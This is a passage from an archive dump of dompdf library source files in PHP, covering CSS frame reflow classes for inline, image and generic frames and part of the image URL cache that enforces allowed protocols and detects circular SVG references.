        // ancestor forming the containing block. In such cases, percentage
        // values could be resolved here
        $style = $this->_frame->get_style();
        $width = $style->width;
        $fixed_width = $width !== "auto" && !Helpers::is_percent($width);

        // If the frame has a specified width, then we don't need to check
        // its children
        if ($fixed_width) {
            $min = (float) $style->length_in_pt($width, 0);
            $max = $min;
        } else {
            [$min, $max] = $this->get_min_max_child_width();
        }

        // Handle min/max width style properties
        $min_width = $this->resolve_min_width(null);
        $max_width = $this->resolve_max_width(null);
        $min = Helpers::clamp($min, $min_width, $max_width);
        $max = Helpers::clamp($max, $min_width, $max_width);

        return [$min, $max];
    }
}
vendor/dompdf/dompdf/src/FrameReflower/AbstractFrameReflower.php000066600000045030151150443010021047 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\Css\Content\Attr;
use Dompdf\Css\Content\CloseQuote;
use Dompdf\Css\Content\Counter;
use Dompdf\Css\Content\Counters;
use Dompdf\Css\Content\NoCloseQuote;
use Dompdf\Css\Content\NoOpenQuote;
use Dompdf\Css\Content\OpenQuote;
use Dompdf\Css\Content\StringPart;
use Dompdf\Dompdf;
use Dompdf\Frame;
use Dompdf\Frame\Factory;
use Dompdf\FrameDecorator\AbstractFrameDecorator;
use Dompdf\FrameDecorator\Block;

/**
 * Base reflower class
 *
 * Reflower objects are responsible for determining the width and height of
 * individual frames.  They also create line and page breaks as necessary.
 *
 * @package dompdf
 */
abstract class AbstractFrameReflower
{

    /**
     * Frame for this reflower
     *
     * @var AbstractFrameDecorator
     */
    protected $_frame;

    /**
     * Cached min/max child size
     *
     * @var array
     */
    protected $_min_max_child_cache;

    /**
     * Cached min/max size
     *
     * @var array
     */
    protected $_min_max_cache;

    /**
     * AbstractFrameReflower constructor.
     * @param AbstractFrameDecorator $frame
     */
    function __construct(AbstractFrameDecorator $frame)
    {
        $this->_frame = $frame;
        $this->_min_max_child_cache = null;
        $this->_min_max_cache = null;
    }

    /**
     * @return Dompdf
     */
    function get_dompdf()
    {
        return $this->_frame->get_dompdf();
    }

    public function reset(): void
    {
        $this->_min_max_child_cache = null;
        $this->_min_max_cache = null;
    }

    /**
     * Determine the actual containing block for absolute and fixed position.
     *
     * https://www.w3.org/TR/CSS21/visudet.html#containing-block-details
     */
    protected function determine_absolute_containing_block(): void
    {
        $frame = $this->_frame;
        $style = $frame->get_style();

        switch ($style->position) {
            case "absolute":
                $parent = $frame->find_positioned_parent();
                if ($parent !== $frame->get_root()) {
                    $parent_style = $parent->get_style();
                    $parent_padding_box = $parent->get_padding_box();
                    //FIXME: an accurate measure of the positioned parent height
                    //       is not possible until reflow has completed;
                    //       we'll fall back to the parent's containing block,
                    //       which is wrong for auto-height parents
                    if ($parent_style->height === "auto") {
                        $parent_containing_block = $parent->get_containing_block();
                        $containing_block_height = $parent_containing_block["h"] -
                            (float)$parent_style->length_in_pt([
                                $parent_style->margin_top,
                                $parent_style->margin_bottom,
                                $parent_style->border_top_width,
                                $parent_style->border_bottom_width
                            ], $parent_containing_block["w"]);
                    } else {
                        $containing_block_height = $parent_padding_box["h"];
                    }
                    $frame->set_containing_block($parent_padding_box["x"], $parent_padding_box["y"], $parent_padding_box["w"], $containing_block_height);
                    break;
                }
            case "fixed":
                $initial_cb = $frame->get_root()->get_first_child()->get_containing_block();
                $frame->set_containing_block($initial_cb["x"], $initial_cb["y"], $initial_cb["w"], $initial_cb["h"]);
                break;
            default:
                // Nothing to do, containing block already set via parent
                break;
        }
    }

    /**
     * Collapse frames margins
     * http://www.w3.org/TR/CSS21/box.html#collapsing-margins
     */
    protected function _collapse_margins(): void
    {
        $frame = $this->_frame;

        // Margins of float/absolutely positioned/inline-level elements do not collapse
        if (!$frame->is_in_flow() || $frame->is_inline_level()
            || $frame->get_root() === $frame || $frame->get_parent() === $frame->get_root()
        ) {
            return;
        }

        $cb = $frame->get_containing_block();
        $style = $frame->get_style();

        $t = $style->length_in_pt($style->margin_top, $cb["w"]);
        $b = $style->length_in_pt($style->margin_bottom, $cb["w"]);

        // Handle 'auto' values
        if ($t === "auto") {
            $style->set_used("margin_top", 0.0);
            $t = 0.0;
        }

        if ($b === "auto") {
            $style->set_used("margin_bottom", 0.0);
            $b = 0.0;
        }

        // Collapse vertical margins:
        $n = $frame->get_next_sibling();
        if ( $n && !($n->is_block_level() && $n->is_in_flow()) ) {
            while ($n = $n->get_next_sibling()) {
                if ($n->is_block_level() && $n->is_in_flow()) {
                    break;
                }

                if (!$n->get_first_child()) {
                    $n = null;
                    break;
                }
            }
        }

        if ($n) {
            $n_style = $n->get_style();
            $n_t = (float)$n_style->length_in_pt($n_style->margin_top, $cb["w"]);

            $b = $this->get_collapsed_margin_length($b, $n_t);
            $style->set_used("margin_bottom", $b);
            $n_style->set_used("margin_top", 0.0);
        }

        // Collapse our first child's margin, if there is no border or padding
        if ($style->border_top_width == 0 && $style->length_in_pt($style->padding_top) == 0) {
            $f = $this->_frame->get_first_child();
            if ( $f && !($f->is_block_level() && $f->is_in_flow()) ) {
                while ($f = $f->get_next_sibling()) {
                    if ($f->is_block_level() && $f->is_in_flow()) {
                        break;
                    }

                    if (!$f->get_first_child()) {
                        $f = null;
                        break;
                    }
                }
            }

            // Margins are collapsed only between block-level boxes
            if ($f) {
                $f_style = $f->get_style();
                $f_t = (float)$f_style->length_in_pt($f_style->margin_top, $cb["w"]);

                $t = $this->get_collapsed_margin_length($t, $f_t);
                $style->set_used("margin_top", $t);
                $f_style->set_used("margin_top", 0.0);
            }
        }

        // Collapse our last child's margin, if there is no border or padding
        if ($style->border_bottom_width == 0 && $style->length_in_pt($style->padding_bottom) == 0) {
            $l = $this->_frame->get_last_child();
            if ( $l && !($l->is_block_level() && $l->is_in_flow()) ) {
                while ($l = $l->get_prev_sibling()) {
                    if ($l->is_block_level() && $l->is_in_flow()) {
                        break;
                    }

                    if (!$l->get_last_child()) {
                        $l = null;
                        break;
                    }
                }
            }

            // Margins are collapsed only between block-level boxes
            if ($l) {
                $l_style = $l->get_style();
                $l_b = (float)$l_style->length_in_pt($l_style->margin_bottom, $cb["w"]);

                $b = $this->get_collapsed_margin_length($b, $l_b);
                $style->set_used("margin_bottom", $b);
                $l_style->set_used("margin_bottom", 0.0);
            }
        }
    }

    /**
     * Get the combined (collapsed) length of two adjoining margins.
     *
     * See http://www.w3.org/TR/CSS21/box.html#collapsing-margins.
     *
     * @param float $l1
     * @param float $l2
     *
     * @return float
     */
    private function get_collapsed_margin_length(float $l1, float $l2): float
    {
        if ($l1 < 0 && $l2 < 0) {
            return min($l1, $l2); // min(x, y) = - max(abs(x), abs(y)), if x < 0 && y < 0
        }
        
        if ($l1 < 0 || $l2 < 0) {
            return $l1 + $l2; // x + y = x - abs(y), if y < 0
        }
        
        return max($l1, $l2);
    }

    /**
     * Handle relative positioning according to
     * https://www.w3.org/TR/CSS21/visuren.html#relative-positioning.
     *
     * @param AbstractFrameDecorator $frame The frame to handle.
     */
    protected function position_relative(AbstractFrameDecorator $frame): void
    {
        $style = $frame->get_style();

        if ($style->position === "relative") {
            $cb = $frame->get_containing_block();
            $top = $style->length_in_pt($style->top, $cb["h"]);
            $right = $style->length_in_pt($style->right, $cb["w"]);
            $bottom = $style->length_in_pt($style->bottom, $cb["h"]);
            $left = $style->length_in_pt($style->left, $cb["w"]);

            // FIXME RTL case:
            // if ($left !== "auto" && $right !== "auto") $left = -$right;
            if ($left === "auto" && $right === "auto") {
                $left = 0;
            } elseif ($left === "auto") {
                $left = -$right;
            }

            if ($top === "auto" && $bottom === "auto") {
                $top = 0;
            } elseif ($top === "auto") {
                $top = -$bottom;
            }

            $frame->move($left, $top);
        }
    }

    /**
     * @param Block|null $block
     */
    abstract function reflow(Block $block = null);

    /**
     * Resolve the `min-width` property.
     *
     * Resolves to 0 if not set or if a percentage and the containing-block
     * width is not defined.
     *
     * @param float|null $cbw Width of the containing block.
     *
     * @return float
     */
    protected function resolve_min_width(?float $cbw): float
    {
        $style = $this->_frame->get_style();
        $min_width = $style->min_width;

        return $min_width !== "auto"
            ? $style->length_in_pt($min_width, $cbw ?? 0)
            : 0.0;
    }

    /**
     * Resolve the `max-width` property.
     *
     * Resolves to `INF` if not set or if a percentage and the containing-block
     * width is not defined.
     *
     * @param float|null $cbw Width of the containing block.
     *
     * @return float
     */
    protected function resolve_max_width(?float $cbw): float
    {
        $style = $this->_frame->get_style();
        $max_width = $style->max_width;

        return $max_width !== "none"
            ? $style->length_in_pt($max_width, $cbw ?? INF)
            : INF;
    }

    /**
     * Resolve the `min-height` property.
     *
     * Resolves to 0 if not set or if a percentage and the containing-block
     * height is not defined.
     *
     * @param float|null $cbh Height of the containing block.
     *
     * @return float
     */
    protected function resolve_min_height(?float $cbh): float
    {
        $style = $this->_frame->get_style();
        $min_height = $style->min_height;

        return $min_height !== "auto"
            ? $style->length_in_pt($min_height, $cbh ?? 0)
            : 0.0;
    }

    /**
     * Resolve the `max-height` property.
     *
     * Resolves to `INF` if not set or if a percentage and the containing-block
     * height is not defined.
     *
     * @param float|null $cbh Height of the containing block.
     *
     * @return float
     */
    protected function resolve_max_height(?float $cbh): float
    {
        $style = $this->_frame->get_style();
        $max_height = $style->max_height;

        return $max_height !== "none"
            ? $style->length_in_pt($style->max_height, $cbh ?? INF)
            : INF;
    }

    /**
     * Get the minimum and maximum preferred width of the contents of the frame,
     * as requested by its children.
     *
     * @return array A two-element array of min and max width.
     */
    public function get_min_max_child_width(): array
    {
        if (!is_null($this->_min_max_child_cache)) {
            return $this->_min_max_child_cache;
        }

        $low = [];
        $high = [];

        for ($iter = $this->_frame->get_children(); $iter->valid(); $iter->next()) {
            $inline_min = 0;
            $inline_max = 0;

            // Add all adjacent inline widths together to calculate max width
            while ($iter->valid() && ($iter->current()->is_inline_level() || $iter->current()->get_style()->display === "-dompdf-image")) {
                /** @var AbstractFrameDecorator */
                $child = $iter->current();
                $child->get_reflower()->_set_content();
                $minmax = $child->get_min_max_width();

                if (in_array($child->get_style()->white_space, ["pre", "nowrap"], true)) {
                    $inline_min += $minmax["min"];
                } else {
                    $low[] = $minmax["min"];
                }

                $inline_max += $minmax["max"];
                $iter->next();
            }

            if ($inline_min > 0) {
                $low[] = $inline_min;
            }
            if ($inline_max > 0) {
                $high[] = $inline_max;
            }

            // Skip children with absolute position
            if ($iter->valid() && !$iter->current()->is_absolute()) {
                /** @var AbstractFrameDecorator */
                $child = $iter->current();
                $child->get_reflower()->_set_content();
                list($low[], $high[]) = $child->get_min_max_width();
            }
        }

        $min = count($low) ? max($low) : 0;
        $max = count($high) ? max($high) : 0;

        return $this->_min_max_child_cache = [$min, $max];
    }

    /**
     * Get the minimum and maximum preferred content-box width of the frame.
     *
     * @return array A two-element array of min and max width.
     */
    public function get_min_max_content_width(): array
    {
        return $this->get_min_max_child_width();
    }

    /**
     * Get the minimum and maximum preferred border-box width of the frame.
     *
     * Required for shrink-to-fit width calculation, as used in automatic table
     * layout, absolute positioning, float and inline-block. This provides a
     * basic implementation. Child classes should override this or
     * `get_min_max_content_width` as necessary.
     *
     * @return array An array `[0 => min, 1 => max, "min" => min, "max" => max]`
     *         of min and max width.
     */
    public function get_min_max_width(): array
    {
        if (!is_null($this->_min_max_cache)) {
            return $this->_min_max_cache;
        }

        $style = $this->_frame->get_style();
        [$min, $max] = $this->get_min_max_content_width();

        // Account for margins, borders, and padding
        $dims = [
            $style->padding_left,
            $style->padding_right,
            $style->border_left_width,
            $style->border_right_width,
            $style->margin_left,
            $style->margin_right
        ];

        // The containing block is not defined yet, treat percentages as 0
        $delta = (float) $style->length_in_pt($dims, 0);
        $min += $delta;
        $max += $delta;

        return $this->_min_max_cache = [$min, $max, "min" => $min, "max" => $max];
    }

    /**
     * Resolves the `content` property to string.
     *
     * https://www.w3.org/TR/CSS21/generate.html#content
     *
     * @return string The resulting string
     */
    protected function resolve_content(): string
    {
        $frame = $this->_frame;
        $style = $frame->get_style();
        $content = $style->content;

        if ($content === "normal" || $content === "none") {
            return "";
        }

        $quotes = $style->quotes;
        $text = "";

        foreach ($content as $val) {
            if ($val instanceof StringPart) {
                $text .= $val->string;
            }

            elseif ($val instanceof OpenQuote) {
                // FIXME: Take quotation depth into account
                if ($quotes !== "none" && isset($quotes[0][0])) {
                    $text .= $quotes[0][0];
                }
            }

            elseif ($val instanceof CloseQuote) {
                // FIXME: Take quotation depth into account
                if ($quotes !== "none" && isset($quotes[0][1])) {
                    $text .= $quotes[0][1];
                }
            }
            
            elseif ($val instanceof NoOpenQuote) {
                // FIXME: Increment quotation depth
            }

            elseif ($val instanceof NoCloseQuote) {
                // FIXME: Decrement quotation depth
            }

            elseif ($val instanceof Attr) {
                $text .= $frame->get_parent()->get_node()->getAttribute($val->attribute);
            }

            elseif ($val instanceof Counter) {
                $p = $frame->lookup_counter_frame($val->name, true);
                $text .= $p->counter_value($val->name, $val->style);
            }

            elseif ($val instanceof Counters) {
                $p = $frame->lookup_counter_frame($val->name, true);
                $tmp = [];
                while ($p) {
                    array_unshift($tmp, $p->counter_value($val->name, $val->style));
                    $p = $p->lookup_counter_frame($val->name);
                }
                $text .= implode($val->string, $tmp);
            }
        }

        return $text;
    }

    /**
     * Handle counters and set generated content if the frame is a
     * generated-content frame.
     */
    protected function _set_content(): void
    {
        $frame = $this->_frame;

        if ($frame->content_set) {
            return;
        }

        $style = $frame->get_style();

        if (($reset = $style->counter_reset) !== "none") {
            $frame->reset_counters($reset);
        }

        if (($increment = $style->counter_increment) !== "none") {
            $frame->increment_counters($increment);
        }

        if ($frame->get_node()->nodeName === "dompdf_generated") {
            $content = $this->resolve_content();

            if ($content !== "") {
                $node = $frame->get_node()->ownerDocument->createTextNode($content);

                $new_style = $style->get_stylesheet()->create_style();
                $new_style->inherit($style);

                $new_frame = new Frame($node);
                $new_frame->set_style($new_style);

                Factory::decorate_frame($new_frame, $frame->get_dompdf(), $frame->get_root());
                $frame->append_child($new_frame);
            }
        }

        $frame->content_set = true;
    }
}
vendor/dompdf/dompdf/src/FrameReflower/Inline.php000066600000013657151150443010016053 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\FrameDecorator\Block as BlockFrameDecorator;
use Dompdf\FrameDecorator\Inline as InlineFrameDecorator;
use Dompdf\FrameDecorator\Text as TextFrameDecorator;

/**
 * Reflows inline frames
 *
 * @package dompdf
 */
class Inline extends AbstractFrameReflower
{
    /**
     * Inline constructor.
     * @param InlineFrameDecorator $frame
     */
    function __construct(InlineFrameDecorator $frame)
    {
        parent::__construct($frame);
    }

    /**
     * Handle reflow of empty inline frames.
     *
     * Regular inline frames are positioned together with their text (or inline)
     * children after child reflow. Empty inline frames have no children that
     * could determine the positioning, so they need to be handled separately.
     *
     * @param BlockFrameDecorator $block
     */
    protected function reflow_empty(BlockFrameDecorator $block): void
    {
        /** @var InlineFrameDecorator */
        $frame = $this->_frame;
        $style = $frame->get_style();

        // Resolve width, so the margin width can be checked
        $style->set_used("width", 0.0);

        $cb = $frame->get_containing_block();
        $line = $block->get_current_line_box();
        $width = $frame->get_margin_width();

        if ($width > ($cb["w"] - $line->left - $line->w - $line->right)) {
            $block->add_line();

            // Find the appropriate inline ancestor to split
            $child = $frame;
            $p = $child->get_parent();
            while ($p instanceof InlineFrameDecorator && !$child->get_prev_sibling()) {
                $child = $p;
                $p = $p->get_parent();
            }

            if ($p instanceof InlineFrameDecorator) {
                // Split parent and stop current reflow. Reflow continues
                // via child-reflow loop of split parent
                $p->split($child);
                return;
            }
        }

        $frame->position();
        $block->add_frame_to_line($frame);
    }

    /**
     * @param BlockFrameDecorator|null $block
     */
    function reflow(BlockFrameDecorator $block = null)
    {
        /** @var InlineFrameDecorator */
        $frame = $this->_frame;

        // Check if a page break is forced
        $page = $frame->get_root();
        $page->check_forced_page_break($frame);

        if ($page->is_full()) {
            return;
        }

        // Counters and generated content
        $this->_set_content();

        $style = $frame->get_style();

        // Resolve auto margins
        // https://www.w3.org/TR/CSS21/visudet.html#inline-width
        // https://www.w3.org/TR/CSS21/visudet.html#inline-non-replaced
        if ($style->margin_left === "auto") {
            $style->set_used("margin_left", 0.0);
        }
        if ($style->margin_right === "auto") {
            $style->set_used("margin_right", 0.0);
        }
        if ($style->margin_top === "auto") {
            $style->set_used("margin_top", 0.0);
        }
        if ($style->margin_bottom === "auto") {
            $style->set_used("margin_bottom", 0.0);
        }

        // Handle line breaks
        if ($frame->get_node()->nodeName === "br") {
            if ($block) {
                $line = $block->get_current_line_box();
                $frame->set_containing_line($line);
                $block->maximize_line_height($frame->get_margin_height(), $frame);
                $block->add_line(true);

                $next = $frame->get_next_sibling();
                $p = $frame->get_parent();

                if ($next && $p instanceof InlineFrameDecorator) {
                    $p->split($next);
                }
            }
            return;
        }

        // Handle empty inline frames
        if (!$frame->get_first_child()) {
            if ($block) {
                $this->reflow_empty($block);
            }
            return;
        }

        // Add margin, padding & border width to the first and last children,
        // so they are accounted for during text layout
        if (($f = $frame->get_first_child()) && $f instanceof TextFrameDecorator) {
            $f_style = $f->get_style();
            $f_style->margin_left = $style->margin_left;
            $f_style->padding_left = $style->padding_left;
            $f_style->border_left_width = $style->border_left_width;
        }

        if (($l = $frame->get_last_child()) && $l instanceof TextFrameDecorator) {
            $l_style = $l->get_style();
            $l_style->margin_right = $style->margin_right;
            $l_style->padding_right = $style->padding_right;
            $l_style->border_right_width = $style->border_right_width;
        }

        $frame->position();

        $cb = $frame->get_containing_block();

        // Set the containing blocks and reflow each child.  The containing
        // block is not changed by line boxes.
        foreach ($frame->get_children() as $child) {
            $child->set_containing_block($cb);
            $child->reflow($block);

            // Stop reflow if the frame has been reset by a line or page break
            // due to child reflow
            if (!$frame->content_set) {
                return;
            }
        }

        // Assume the position of the first in-flow child, otherwise use the
        // fallback position that was set before child reflow
        $child = $frame->get_first_child();
        while ($child && !$child->is_in_flow()) {
            $child = $child->get_next_sibling();
        }

        if ($child) {
            [$x, $y] = $child->get_position();
            $frame->set_position($x, $y);
        }

        // Handle relative positioning
        foreach ($frame->get_children() as $child) {
            $this->position_relative($child);
        }

        if ($block) {
            $block->add_frame_to_line($frame);
        }
    }
}
vendor/dompdf/dompdf/src/FrameReflower/Image.php000066600000017444151150443010015655 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\Helpers;
use Dompdf\FrameDecorator\Block as BlockFrameDecorator;
use Dompdf\FrameDecorator\Image as ImageFrameDecorator;

/**
 * Image reflower class
 *
 * @package dompdf
 */
class Image extends AbstractFrameReflower
{

    /**
     * Image constructor.
     * @param ImageFrameDecorator $frame
     */
    function __construct(ImageFrameDecorator $frame)
    {
        parent::__construct($frame);
    }

    /**
     * @param BlockFrameDecorator|null $block
     */
    function reflow(BlockFrameDecorator $block = null)
    {
        $this->determine_absolute_containing_block();

        // Counters and generated content
        $this->_set_content();

        //FLOAT
        //$frame = $this->_frame;
        //$page = $frame->get_root();

        //if ($frame->get_style()->float !== "none" ) {
        //  $page->add_floating_frame($this);
        //}

        $this->resolve_dimensions();
        $this->resolve_margins();

        $frame = $this->_frame;
        $frame->position();

        if ($block && $frame->is_in_flow()) {
            $block->add_frame_to_line($frame);
        }
    }

    public function get_min_max_content_width(): array
    {
        // TODO: While the containing block is not set yet on the frame, it can
        // already be determined in some cases due to fixed dimensions on the
        // ancestor forming the containing block. In such cases, percentage
        // values could be resolved here
        $style = $this->_frame->get_style();

        [$width] = $this->calculate_size(null, null);
        $min_width = $this->resolve_min_width(null);
        $percent_width = Helpers::is_percent($style->width)
            || Helpers::is_percent($style->max_width)
            || ($style->width === "auto"
                && (Helpers::is_percent($style->height) || Helpers::is_percent($style->max_height)));

        // Use the specified min width as minimum when width or max width depend
        // on the containing block and cannot be resolved yet. This mimics
        // browser behavior
        $min = $percent_width ? $min_width : $width;
        $max = $width;

        return [$min, $max];
    }

    /**
     * Calculate width and height, accounting for min/max constraints.
     *
     * * https://www.w3.org/TR/CSS21/visudet.html#inline-replaced-width
     * * https://www.w3.org/TR/CSS21/visudet.html#inline-replaced-height
     * * https://www.w3.org/TR/CSS21/visudet.html#min-max-widths
     * * https://www.w3.org/TR/CSS21/visudet.html#min-max-heights
     *
     * @param float|null $cbw Width of the containing block.
     * @param float|null $cbh Height of the containing block.
     *
     * @return float[]
     */
    protected function calculate_size(?float $cbw, ?float $cbh): array
    {
        /** @var ImageFrameDecorator */
        $frame = $this->_frame;
        $style = $frame->get_style();

        $computed_width = $style->width;
        $computed_height = $style->height;

        $width = $cbw === null && Helpers::is_percent($computed_width)
            ? "auto"
            : $style->length_in_pt($computed_width, $cbw ?? 0);
        $height = $cbh === null && Helpers::is_percent($computed_height)
            ? "auto"
            : $style->length_in_pt($computed_height, $cbh ?? 0);
        $min_width = $this->resolve_min_width($cbw);
        $max_width = $this->resolve_max_width($cbw);
        $min_height = $this->resolve_min_height($cbh);
        $max_height = $this->resolve_max_height($cbh);

        if ($width === "auto" && $height === "auto") {
            // Use intrinsic dimensions, resampled to pt
            [$img_width, $img_height] = $frame->get_intrinsic_dimensions();
            $w = $frame->resample($img_width);
            $h = $frame->resample($img_height);

            // Resolve min/max constraints according to the constraint-violation
            // table in https://www.w3.org/TR/CSS21/visudet.html#min-max-widths
            $max_width = max($min_width, $max_width);
            $max_height = max($min_height, $max_height);

            if (($w > $max_width && $h <= $max_height)
                || ($w > $max_width && $h > $max_height && $max_width / $w <= $max_height / $h)
                || ($w < $min_width && $h > $min_height)
                || ($w < $min_width && $h < $min_height && $min_width / $w > $min_height / $h)
            ) {
                $width = Helpers::clamp($w, $min_width, $max_width);
                $height = $width * ($img_height / $img_width);
                $height = Helpers::clamp($height, $min_height, $max_height);
            } else {
                $height = Helpers::clamp($h, $min_height, $max_height);
                $width = $height * ($img_width / $img_height);
                $width = Helpers::clamp($width, $min_width, $max_width);
            }
        } elseif ($height === "auto") {
            // Width is fixed, scale height according to aspect ratio
            [$img_width, $img_height] = $frame->get_intrinsic_dimensions();
            $width = Helpers::clamp((float) $width, $min_width, $max_width);
            $height = $width * ($img_height / $img_width);
            $height = Helpers::clamp($height, $min_height, $max_height);
        } elseif ($width === "auto") {
            // Height is fixed, scale width according to aspect ratio
            [$img_width, $img_height] = $frame->get_intrinsic_dimensions();
            $height = Helpers::clamp((float) $height, $min_height, $max_height);
            $width = $height * ($img_width / $img_height);
            $width = Helpers::clamp($width, $min_width, $max_width);
        } else {
            // Width and height are fixed
            $width = Helpers::clamp((float) $width, $min_width, $max_width);
            $height = Helpers::clamp((float) $height, $min_height, $max_height);
        }

        return [$width, $height];
    }

    protected function resolve_dimensions(): void
    {
        /** @var ImageFrameDecorator */
        $frame = $this->_frame;
        $style = $frame->get_style();

        $debug_png = $this->get_dompdf()->getOptions()->getDebugPng();

        if ($debug_png) {
            [$img_width, $img_height] = $frame->get_intrinsic_dimensions();
            print "resolve_dimensions() " .
                $frame->get_style()->width . " " .
                $frame->get_style()->height . ";" .
                $frame->get_parent()->get_style()->width . " " .
                $frame->get_parent()->get_style()->height . ";" .
                $frame->get_parent()->get_parent()->get_style()->width . " " .
                $frame->get_parent()->get_parent()->get_style()->height . ";" .
                $img_width . " " .
                $img_height . "|";
        }

        [, , $cbw, $cbh] = $frame->get_containing_block();
        [$width, $height] = $this->calculate_size($cbw, $cbh);

        if ($debug_png) {
            print $width . " " . $height . ";";
        }

        $style->set_used("width", $width);
        $style->set_used("height", $height);
    }

    protected function resolve_margins(): void
    {
        // Only handle the inline case for now
        // https://www.w3.org/TR/CSS21/visudet.html#inline-replaced-width
        // https://www.w3.org/TR/CSS21/visudet.html#inline-replaced-height
        $style = $this->_frame->get_style();

        if ($style->margin_left === "auto") {
            $style->set_used("margin_left", 0.0);
        }
        if ($style->margin_right === "auto") {
            $style->set_used("margin_right", 0.0);
        }
        if ($style->margin_top === "auto") {
            $style->set_used("margin_top", 0.0);
        }
        if ($style->margin_bottom === "auto") {
            $style->set_used("margin_bottom", 0.0);
        }
    }
}
vendor/dompdf/dompdf/src/Image/Cache.php000066600000026257151150443010014122 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Image;

use Dompdf\Options;
use Dompdf\Helpers;
use Dompdf\Exception\ImageException;

/**
 * Static class that resolves image urls and downloads and caches
 * remote images if required.
 *
 * @package dompdf
 */
class Cache
{
    /**
     * Array of downloaded images.  Cached so that identical images are
     * not needlessly downloaded.
     *
     * @var array
     */
    protected static $_cache = [];

    /**
     * @var array
     */
    protected static $tempImages = [];

    /**
     * Array of image references from an SVG document.
     * Used to detect circular references across SVG documents.
     *
     * @var array
     */
    protected static $svgRefs = [];

    /**
     * The url to the "broken image" used when images can't be loaded
     *
     * @var string
     */
    public static $broken_image = "data:image/svg+xml;charset=utf8,%3C?xml version='1.0'?%3E%3Csvg width='64' height='64' xmlns='http://www.w3.org/2000/svg'%3E%3Cg%3E%3Crect stroke='%23666666' id='svg_1' height='60.499994' width='60.166667' y='1.666669' x='1.999998' stroke-width='1.5' fill='none'/%3E%3Cline stroke-linecap='null' stroke-linejoin='null' id='svg_3' y2='59.333253' x2='59.749916' y1='4.333415' x1='4.250079' stroke-width='1.5' stroke='%23999999' fill='none'/%3E%3Cline stroke-linecap='null' stroke-linejoin='null' id='svg_4' y2='59.999665' x2='4.062838' y1='3.750342' x1='60.062164' stroke-width='1.5' stroke='%23999999' fill='none'/%3E%3C/g%3E%3C/svg%3E";

    public static $error_message = "Image not found or type unknown";
    
    /**
     * Resolve and fetch an image for use.
     *
     * @param string $url       The url of the image
     * @param string $protocol  Default protocol if none specified in $url
     * @param string $host      Default host if none specified in $url
     * @param string $base_path Default path if none specified in $url
     * @param Options $options  An instance of Dompdf\Options
     *
     * @return array            An array with three elements: The local path to the image, the image
     *                          extension, and an error message if the image could not be cached
     */
    static function resolve_url($url, $protocol, $host, $base_path, Options $options)
    {
        $tempfile = null;
        $resolved_url = null;
        $type = null;
        $message = null;
        
        try {
            $full_url = Helpers::build_url($protocol, $host, $base_path, $url);

            if ($full_url === null) {
                throw new ImageException("Unable to parse image URL $url.", E_WARNING);
            }

            $parsed_url = Helpers::explode_url($full_url);
            $protocol = strtolower($parsed_url["protocol"]);
            $is_data_uri = strpos($protocol, "data:") === 0;
            
            if (!$is_data_uri) {
                $allowed_protocols = $options->getAllowedProtocols();
                if (!array_key_exists($protocol, $allowed_protocols)) {
                    throw new ImageException("Permission denied on $url. The communication protocol is not supported.", E_WARNING);
                }
                foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
                    [$result, $message] = $rule($full_url);
                    if (!$result) {
                        throw new ImageException("Error loading $url: $message", E_WARNING);
                    }
                }
            }

            if ($protocol === "file://") {
                $resolved_url = $full_url;
            } elseif (isset(self::$_cache[$full_url])) {
                $resolved_url = self::$_cache[$full_url];
            } else {
                $tmp_dir = $options->getTempDir();
                if (($resolved_url = @tempnam($tmp_dir, "ca_dompdf_img_")) === false) {
                    throw new ImageException("Unable to create temporary image in " . $tmp_dir, E_WARNING);
                }
                $tempfile = $resolved_url;

                $image = null;
                if ($is_data_uri) {
                    if (($parsed_data_uri = Helpers::parse_data_uri($url)) !== false) {
                        $image = $parsed_data_uri["data"];
                    }
                } else {
                    list($image, $http_response_header) = Helpers::getFileContent($full_url, $options->getHttpContext());
                }

                // Image not found or invalid
                if ($image === null) {
                    $msg = ($is_data_uri ? "Data-URI could not be parsed" : "Image not found");
                    throw new ImageException($msg, E_WARNING);
                }

                if (@file_put_contents($resolved_url, $image) === false) {
                    throw new ImageException("Unable to create temporary image in " . $tmp_dir, E_WARNING);
                }

                self::$_cache[$full_url] = $resolved_url;
            }

            // Check if the local file is readable
            if (!is_readable($resolved_url) || !filesize($resolved_url)) {
                throw new ImageException("Image not readable or empty", E_WARNING);
            }

            list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());

            if (($width && $height && in_array($type, ["gif", "png", "jpeg", "bmp", "svg","webp"], true)) === false) {
                throw new ImageException("Image type unknown", E_WARNING);
            }

            if ($type === "svg") {
                $parser = xml_parser_create("utf-8");
                xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);
                xml_set_element_handler(
                    $parser,
                    function ($parser, $name, $attributes) use ($options, $parsed_url, $full_url) {
                        if (strtolower($name) === "image") {
                            if (!\array_key_exists($full_url, self::$svgRefs)) {
                                self::$svgRefs[$full_url] = [];
                            }
                            $attributes = array_change_key_case($attributes, CASE_LOWER);
                            $urls = [];
                            $urls[] = $attributes["xlink:href"] ?? "";
                            $urls[] = $attributes["href"] ?? "";
                            foreach ($urls as $url) {
                                if (empty($url)) {
                                    continue;
                                }

                                $inner_full_url = Helpers::build_url($parsed_url["protocol"], $parsed_url["host"], $parsed_url["path"], $url);
                                if (empty($inner_full_url)) {
                                    continue;
                                }
                                
                                self::detectCircularRef($full_url, $inner_full_url);
                                self::$svgRefs[$full_url][] = $inner_full_url;
                                [$resolved_url, $type, $message] = self::resolve_url($url, $parsed_url["protocol"], $parsed_url["host"], $parsed_url["path"], $options);
                                if (!empty($message)) {
                                    throw new ImageException("This SVG document references a restricted resource. $message", E_WARNING);
                                }
                            }
                        }
                    },
                    false
                );
        
                if (($fp = fopen($resolved_url, "r")) !== false) {
                    while ($line = fread($fp, 8192)) {
                        xml_parse($parser, $line, false);
